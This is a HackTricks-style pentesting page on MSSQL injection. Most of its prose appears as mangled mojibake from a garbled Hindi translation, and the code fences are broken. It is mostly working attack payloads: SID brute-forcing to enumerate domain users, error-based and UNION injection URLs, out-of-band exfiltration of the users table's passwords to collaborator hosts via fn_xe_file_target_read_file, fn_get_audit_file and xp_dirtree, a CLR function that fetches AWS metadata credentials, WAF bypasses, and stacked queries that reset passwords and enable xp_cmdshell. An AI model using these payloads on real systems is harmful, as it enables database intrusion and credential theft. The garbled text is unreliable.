20 KiB
MSSQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Active Directory enumeration
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ MSSQL рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдВрджрд░ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЧрд┐рдирддреА рдХреА рдЬрд╛ рд╕рдХреЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд MSSQL рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:
SELECT DEFAULT_DOMAIN()
: рд╡рд░реНрддрдорд╛рди рдбреЛрдореЗрди рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВредmaster.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: рдпрджрд┐ рдЖрдк рдбреЛрдореЗрди рдХрд╛ рдирд╛рдо рдЬрд╛рдирддреЗ рд╣реИрдВ (DOMAIN рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ) рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ Administrator рдХрд╛ SID рд╣реЗрдХреНрд╕ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд▓реМрдЯрд╛рдПрдЧрд╛ред рдпрд╣ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛0x01050000000[...]0000f401
, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдВрддрд┐рдо 4 рдмрд╛рдЗрдЯреНрд╕ рд╕рдВрдЦреНрдпрд╛ 500 рд╣реИрдВ рдмрд┐рдЧ рдПрдВрдбрд┐рдпрди рдкреНрд░рд╛рд░реВрдк рдореЗрдВ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп ID рд╣реИред
рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдЖрдкрдХреЛ рдбреЛрдореЗрди рдХрд╛ ID рдЬрд╛рдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ (рдЕрдВрддрд┐рдо 4 рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕рднреА рдмрд╛рдЗрдЯреНрд╕)редSUSER_SNAME(0x01050000000[...]0000e803)
: рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╕рдВрдХреЗрддрд┐рдд ID рдХрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд▓реМрдЯрд╛рдПрдЧрд╛ (рдпрджрд┐ рдХреЛрдИ рд╣реЛ), рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ 0000e803 рдмрд┐рдЧ рдПрдВрдбрд┐рдпрди == 1000 (рдЖрдорддреМрд░ рдкрд░ рдпрд╣ рдкрд╣рд▓реЗ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ ID рдХрд╛ ID рд╣реЛрддрд╛ рд╣реИ)ред рдлрд┐рд░ рдЖрдк рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк 1000 рд╕реЗ 2000 рддрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ IDs рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╡рддрдГ рдбреЛрдореЗрди рдХреЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
рд╡реИрдХрд▓реНрдкрд┐рдХ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд рд╡реЗрдХреНрдЯрд░
рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ рдРрд╕реЗ рдирд┐рд░реНрдорд╛рдгреЛрдВ рдХреЗ рд╕рдорд╛рди рд╣реЛрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ +AND+1=@@version--
рдФрд░ ┬лOR┬╗ рдСрдкрд░реЗрдЯрд░ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╡рд┐рд╡рд┐рдзрддрд╛рдПрдБред рдРрд╕реЗ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рд╡рд╛рд▓реЗ рдкреНрд░рд╢реНрди рдЖрдорддреМрд░ рдкрд░ WAFs рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд░реВрдк рдореЗрдВ, %2b рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдЬреЛрдбрд╝реЗрдВ, рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рд░реВрдкрд╛рдВрддрд░рдг рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред
рдРрд╕реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
рдлрд╝рдВрдХреНрд╢рди USER_NAME()
рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
рдпреЗ SSRF рдЯреНрд░рд┐рдХреНрд╕ рдпрд╣рд╛рдВ рд╕реЗ рд▓реА рдЧрдИ рд╣реИрдВ
fn_xe_file_target_read_file
рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ VIEW SERVER STATE
рдЕрдиреБрдорддрд┐ рд╕рд░реНрд╡рд░ рдкрд░ред
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
рдпрд╣ CONTROL SERVER
рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
рдпрд╣ CONTROL SERVER
рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
рдЬреИрд╕реА рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рджреНрд╡рд╛рд░рд╛ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд┐рдд рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЙрдирдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рдХрд╛рд░рдг рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдСрдирд▓рд╛рдЗрди рд╡рд░реНрдгрд┐рдд рдХреА рдЧрдИ рд╣реИрдВред рдпреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЕрдХреНрд╕рд░ рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрдЪрд╛рд▓рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ MSSQL рдХреЗ рднреАрддрд░ред рдЗрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдХреНрд╕рд░ рдЖрдЙрдЯ рдСрдл рдмреИрдВрдб рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдкреЛрд╕реНрдЯреЛрдВ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, xp_dirtree
рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдХреЗрд╡рд▓ TCP рдкреЛрд░реНрдЯ 445 рддрдХ рд╕реАрдорд┐рдд рд╣реИред рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдиреЗрдЯрд╡рд░реНрдХ рд╢реЗрдпрд░ рд╕реЗ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЙрдкрдпреЛрдЧ рдХреЛ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП SQL рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдпрд╣ рд╡рд┐рдзрд┐ рд╕рднреА рд╕рд┐рд╕реНрдЯрдо рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА, рдЬреИрд╕реЗ рдХрд┐ Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
рдЬреЛ Windows Server 2016 Datacenter
рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдЪрд▓ рд░рд╣рд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, master..xp_fileexist
рдФрд░ xp_subdirs
рдЬреИрд╕реА рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реИрдВ рдЬреЛ рд╕рдорд╛рди рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреА рд╣реИрдВред xp_fileexist
рдкрд░ рдФрд░ рд╡рд┐рд╡рд░рдг рдЗрд╕ TechNet рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
xp_cmdshell
рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЖрдк xp_cmdshell
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдРрд╕рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ SSRF рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкреГрд╖реНрда рдореЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВ:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдлрд╝рдВрдХреНрд╢рди - SQLHttp
CLR UDF (рдХреЙрдорди рд▓реИрдВрдЧреНрд╡реЗрдЬ рд░рдирдЯрд╛рдЗрдо рдпреВрдЬрд░ рдбрд┐рдлрд╛рдЗрдВрдб рдлрд╝рдВрдХреНрд╢рди) рдмрдирд╛рдирд╛, рдЬреЛ рдХрд┐рд╕реА рднреА .NET рднрд╛рд╖рд╛ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдХреЛрдб рд╣реИ рдФрд░ DLL рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП MSSQL рдХреЗ рднреАрддрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ, рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ dbo
рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдХреЗрд╡рд▓ рддрдм рд╕рдВрднрд╡ рд╣реИ рдЬрдм рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рди sa
рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рднреВрдорд┐рдХрд╛ рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реЛред
рдЗрд╕ рдмрд╛рдЗрдирд░реА рдХреЛ MSSQL рдореЗрдВ CLR рдЕрд╕реЗрдВрдмрд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП рдЗрд╕ Github рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдПрдХ Visual Studio рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдФрд░ рд╕реНрдерд╛рдкрдирд╛ рдирд┐рд░реНрджреЗрд╢ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ MSSQL рдХреЗ рднреАрддрд░ HTTP GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдореВрд▓ http.cs
рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдХреБрдЪрд┐рдд рд╣реИ, рдЬреЛ GET рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдП рдЕрдиреБрд╕рд╛рд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WebClient
рд╡рд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
CREATE ASSEMBLY
SQL рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╕рд░реНрд╡рд░ рдХреА рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЕрд╕реЗрдВрдмрд▓реА рдХреА рд╕реВрдЪреА рдореЗрдВ рдЕрд╕реЗрдВрдмрд▓реА рдХреЗ SHA512 рд╣реИрд╢ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд SQL рд╕реНрдирд┐рдкреЗрдЯ рдЪрд▓рд╛рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ (рдЬрд┐рд╕реЗ select * from sys.trusted_assemblies;
рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЕрд╕реЗрдВрдмрд▓реА рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж, HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд SQL рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
рддреНрд╡рд░рд┐рдд рд╢реЛрд╖рдг: рдПрдХрд▓ рдХреНрд╡реЗрд░реА рдореЗрдВ рдкреВрд░реА рддрд╛рд▓рд┐рдХрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
рдпрд╣рд╛рдВ рд╕реЗ рдЪрд╛рд▓ред
рдПрдХрд▓ рдХреНрд╡реЗрд░реА рдореЗрдВ рддрд╛рд▓рд┐рдХрд╛ рдХреА рдкреВрд░реА рд╕рд╛рдордЧреНрд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╡рд┐рдзрд┐ FOR JSON
рдХреНрд▓реЙрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг FOR XML
рдХреНрд▓реЙрдЬ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╣реИ, рдЬрд┐рд╕реЗ "raw" рдЬреИрд╕реЗ рд╡рд┐рд╢реЗрд╖ рдореЛрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╕рдВрдХреНрд╖рд┐рдкреНрддрддрд╛ рдХреЗ рд▓рд┐рдП FOR JSON
рдХреНрд▓реЙрдЬ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреА рдЬрд╛рддреА рд╣реИред
рдпрд╣рд╛рдВ рд╡рд░реНрддрдорд╛рди рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рд╕реНрдХреАрдорд╛, рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдФрд░ рдХреЙрд▓рдореЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 ╨╕╨╗╨╕ %C2%A0:
```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Can be reduced to:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# рдЕрдВрдд рдореЗрдВ рдПрдХ рдмреЗрдХрд╛рд░ exec() рдЬреЛрдбрд╝рдирд╛ рдФрд░ WAF рдХреЛ рдпрд╣ рд╕реЛрдЪрдиреЗ рдкрд░ рдордЬрдмреВрд░ рдХрд░рдирд╛ рдХрд┐ рдпрд╣ рдПрдХ рдорд╛рдиреНрдп рдХреНрд╡реЗрд░реА рдирд╣реАрдВ рд╣реИ
admina'union select 1,'admin','testtest123'exec('select 1')--
## рдпрд╣ рд╣реЛрдЧрд╛:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# рдЕрдЬреАрдм рддрд░реАрдХреЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
admin'exec('update[users]set[password]=''a''')--
## рдпрд╣ рд╣реЛрдЧрд╛:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# рдпрд╛ xp_cmdshell рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдирд╛
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## рдпрд╣ рд╣реЛрдЧрд╛
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
References
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.